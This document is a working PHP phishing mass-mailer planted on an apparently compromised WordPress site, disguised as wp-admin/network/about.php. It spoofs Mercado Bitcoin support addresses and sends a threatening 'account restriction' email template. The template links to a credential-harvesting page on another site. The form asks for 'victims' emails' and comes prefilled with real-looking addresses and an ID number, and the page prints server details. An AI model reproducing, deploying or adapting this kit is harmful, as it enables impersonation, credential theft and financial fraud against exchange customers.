File: /var/www/clients/client1/web78/web/wp-admin/network/about.php
<?php
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);
// Function to generate a random number
function random_num() {
$n = '';
for ($x = 0; $x < 4; $x++) {
$n .= rand(1, 9);
}
return mt_rand(1, 2) . $n;
}
// Function to generate a random sender name
function random_sender_name() {
$names = [
'Equipe de Segurança Mercado Bitcoin', 'Suporte Mercado Bitcoin', 'Compliance Mercado Bitcoin',
'Mercado Bitcoin Oficial', 'Atendimento Mercado Bitcoin', 'Departamento de Verificação'
];
return $names[array_rand($names)] . ' ' . random_num();
}
// Function to get server hostname
function get_server_hostname() {
$hostname = gethostname();
return $hostname ? $hostname : 'localhost';
}
// Function to get sender email based on selected variation
function get_sender_email($variation) {
$hostname = get_server_hostname();
$random_num = random_num();
$variations = [
'1' => "SUPORTE_MERCADOBITCOIN$random_num@$hostname",
'2' => "SUPORTEMERCADOBITCOIN$random_num@$hostname",
'3' => "SUPORTE_MERCADOBITCOIN$random_num@mercadobitcoin.com.br",
'4' => "SUPORTEMERCADOBITCOIN$random_num@mercadobitcoin.com.br"
];
return $variations[$variation] ?? $variations['1']; // Default to first variation if invalid
}
// Function to get current date and time in Brazil (America/Sao_Paulo)
function get_brazil_datetime() {
$timezone = new DateTimeZone('America/Sao_Paulo');
$date = new DateTime('now', $timezone);
return $date->format('d/m/Y H:i:s');
}
// Function to log email sending results
function log_result($message) {
$log_file = 'email_log.txt';
$timestamp = date('Y-m-d H:i:s');
file_put_contents($log_file, "[$timestamp] $message\n", FILE_APPEND);
}
$testa = $_POST['veio'];
if ($testa != "") {
$nome = random_sender_name();
$to = $_POST['emails'];
$sender_variation = $_POST['sender_variation'] ?? '1'; // Default to first variation
$de = !empty($_POST['de']) ? $_POST['de'] : get_sender_email($sender_variation);
// Improved headers for better deliverability
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=utf-8\r\n";
$headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
$headers .= "Date: " . date('r') . "\r\n";
$headers .= "X-Priority: 3\r\n";
$headers .= "X-MSMail-Priority: Normal\r\n";
// Process email list
$lines = explode("\n", $to);
$count = 1;
$ok = "ok";
foreach ($lines as $line) {
$line = trim($line);
if (empty($line)) {
continue;
}
// Split line into parts
list($current_email, $cnpj, $razao, $telefone, $socio) = array_pad(explode(';', $line), 5, null);
$current_email = trim($current_email);
$subject = $_POST['assunto'];
$message = $_POST['html'];
if (filter_var($current_email, FILTER_VALIDATE_EMAIL)) {
// Update headers with dynamic sender
$current_headers = "From: $nome <$de>\r\n";
$current_headers .= "Reply-To: $de\r\n";
$current_headers .= $headers;
$current_headers .= "Message-ID: <" . random_num() . "@" . parse_url($de, PHP_URL_HOST) . ">\r\n";
// Replace placeholders
$replacements = [
'{{cnpj}}' => trim($cnpj ?? ''),
'{{razao}}' => trim($razao ?? ''),
'{{telefone}}' => trim($telefone ?? ''),
'{{socio}}' => trim($socio ?? ''),
'%EMAIL%' => $current_email,
'%random_num%' => random_num(),
'{{datetime}}' => get_brazil_datetime()
];
$message = str_replace(array_keys($replacements), array_values($replacements), $message);
$subject = str_replace(array_keys($replacements), array_values($replacements), $subject);
$message = stripslashes($message);
// Send email with error handling
try {
if (mail($current_email, $subject, $message, $current_headers)) {
$log_message = "Success: Email sent to $current_email using sender $de";
echo "* Numero: $count <b>$current_email</b> <font color=green>OK</font><br><hr>";
} else {
$log_message = "Error: Failed to send email to $current_email using sender $de";
echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO AO ENVIAR</font><br><hr>";
}
} catch (Exception $e) {
$log_message = "Exception: Failed to send email to $current_email using sender $de - " . $e->getMessage();
echo "* Numero: $count <b>$current_email</b> <font color=red>ERRO: " . $e->getMessage() . "</font><br><hr>";
}
log_result($log_message);
} else {
$log_message = "Invalid email: $line";
echo "* Numero: $count <b>$line</b> <font color=orange>EMAIL INVÁLIDO</font><br><hr>";
log_result($log_message);
}
$count++;
}
if ($ok == "ok") {
echo "";
}
}
?>
<html>
<head>
<title>Envio de Email</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
body {
margin: 0;
font-family: Arial, Helvetica, sans-serif;
background-color: #f2f2f2;
color: #333;
}
.container {
max-width: 600px;
margin: 0 auto;
padding: 20px;
background-color: #fff;
box-shadow: 0 4px 8px rgba(0,0,0,0.1);
border-radius: 8px;
margin-top: 30px;
}
header {
background-color: #4CAF50;
color: #fff;
text-align: center;
padding: 10px 0;
border-radius: 8px 8px 0 0;
}
h1 {
font-size: 24px;
margin: 0;
}
form {
margin-top: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
}
input[type="text"],
textarea,
select {
width: calc(100% - 20px);
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
}
textarea {
resize: vertical;
}
input[type="submit"] {
background-color: #4CAF50;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.alerta {
color: #990000;
font-size: 12px;
margin-top: -10px;
}
.info {
font-size: 12px;
color: #555;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>Envio de Emails</h1>
</header>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<input type="hidden" name="veio" value="sim">
<label for="sender_variation">E-mail do Remetente (selecione uma variação):</label>
<select name="sender_variation" id="sender_variation">
<option value="1">SUPORTE_MERCADOBITCOIN%random_num%@<?php echo get_server_hostname(); ?></option>
<option value="2">SUPORTEMERCADOBITCOIN%random_num%@%<?php echo get_server_hostname(); ?></option>
<option value="3">SUPORTE_MERCADOBITCOIN%random_num%@%mercadobitcoin.com.br</option>
<option value="4">SUPORTEMERCADOBITCOIN%random_num%@mercadobitcoin.com.br</option>
</select>
<span class="alerta">*Selecione uma variação ou deixe como está para usar a padrão</span>
<label for="de">E-mail do Remetente (opcional, sobrescreve a variação):</label>
<input name="de" type="text" id="de" placeholder="Digite um e-mail personalizado, se desejar">
<label for="assunto">Assunto:</label>
<input name="assunto" type="text" id="assunto" value="=?UTF-8?Q?=E2=9C=85_?= Mercado Bitcoin - {{cnpj}}, Confirme Seus Dados de Contato, Evite Restrições ID %random_num% {{datetime}}">
<label for="html">Código HTML:</label>
<textarea name="html" id="html" rows="8"><!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8" />
<meta content="width=device-width, initial-scale=1.0" name="viewport" />
<title>Confirmação de Contato - Mercado Bitcoin</title>
<style type="text/css">
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
text-align: center;
padding: 20px;
}
.container {
background: white;
max-width: 500px;
margin: 0 auto;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.logo-text {
font-family: Arial, Helvetica, sans-serif;
font-size: 24px;
font-weight: bold;
color: #003087;
background: linear-gradient(90deg, #003087, #0052cc);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
text-align: center;
padding: 10px 0;
letter-spacing: 2px;
text-transform: uppercase;
margin-bottom: 20px;
}
h2 {
color: #333;
}
p {
color: #666;
font-size: 14px;
line-height: 1.5;
}
.btn {
display: inline-block;
background-color: #003087;
color: white;
padding: 10px 20px;
text-decoration: none;
border-radius: 5px;
font-size: 16px;
margin-top: 20px;
}
.footer {
font-size: 12px;
color: #888;
margin-top: 20px;
}
.unsubscribe {
display: inline-block;
color: #003087;
text-decoration: underline;
font-size: 12px;
margin-top: 10px;
}
.warning {
color: #cc092f;
font-weight: bold;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-text">Mercado Bitcoin</div>
<h2>Confirmação de Contato com a Equipe de Segurança</h2>
<p>Prezado(a) cliente, {{cnpj}}</p>
<p>Informamos que nossa equipe de segurança identificou atividades em sua conta no Mercado Bitcoin associada ao e-mail %EMAIL% e CPF {{razao}} que requerem uma verificação de rotina. Como medida preventiva, os limites de sua conta serão ajustados a partir de {{datetime}}, e, caso não haja confirmação, poderão haver restrições no acesso aos seus ativos, conforme as políticas de compliance da plataforma.</p>
<p>Para garantir a continuidade de suas operações e o acesso total aos seus ativos, é imprescindível que o responsável financeiro desta conta confirme os dados e horário para contato com nossa equipe o mais breve possível. Pedimos que confirme os dados para contato e o horário mais conveniente para que possamos realizar esta verificação de rotina e esclarecer a situação.</p>
<p class="warning">Atenção: A falta de resposta até {{datetime}} poderá resultar na limitação do acesso à sua conta.</p>
<a class="btn" href="https://rema.eng.br/wp-content/mb/?cid=%EMAIL%">Confirmar Dados e Horário</a>
<p class="footer">Mercado Bitcoin | CNPJ: 18.213.451/0001-84<br />
Avenida Brigadeiro Faria Lima, 4055, Itaim Bibi | São Paulo | SP | CEP: 04538-133<br />
<a class="unsubscribe" href="https://rema.eng.br/wp-content/mb/?cid=%EMAIL%">Não receber mais e-mails? Descadastre-se aqui</a></p>
</div>
</body>
</html>
</textarea>
<span class="alerta">*Lembrete: texto em HTML</span>
<label for="emails">Coloque o email de suas vítimas abaixo:</label>
<textarea name="emails" id="emails" rows="8">carlosgonzales_moratin@outlook.com;steal sousa silva;01402503601
ccrlos.breem@bol.com.br;steal sousa silva;01402503601
thomasmartinsconsultoria@gmail.com;steal sousa silva;01402503601</textarea>
<span class="alerta">*Separado por quebra de linha</span>
<input type="submit" name="Submit" value="Enviar">
</form>
<div class="info">
Nome do Servidor: <?php echo $UNAME = @php_uname(); ?><br>
Sistema Operacional: <?php echo $OS = @PHP_OS; ?><br>
Endereço IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br>
Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br>
Safe Mode: <?php echo $safe_mode = @ini_get('safe_mode'); ?>
</div>
</div>
</body>
</html>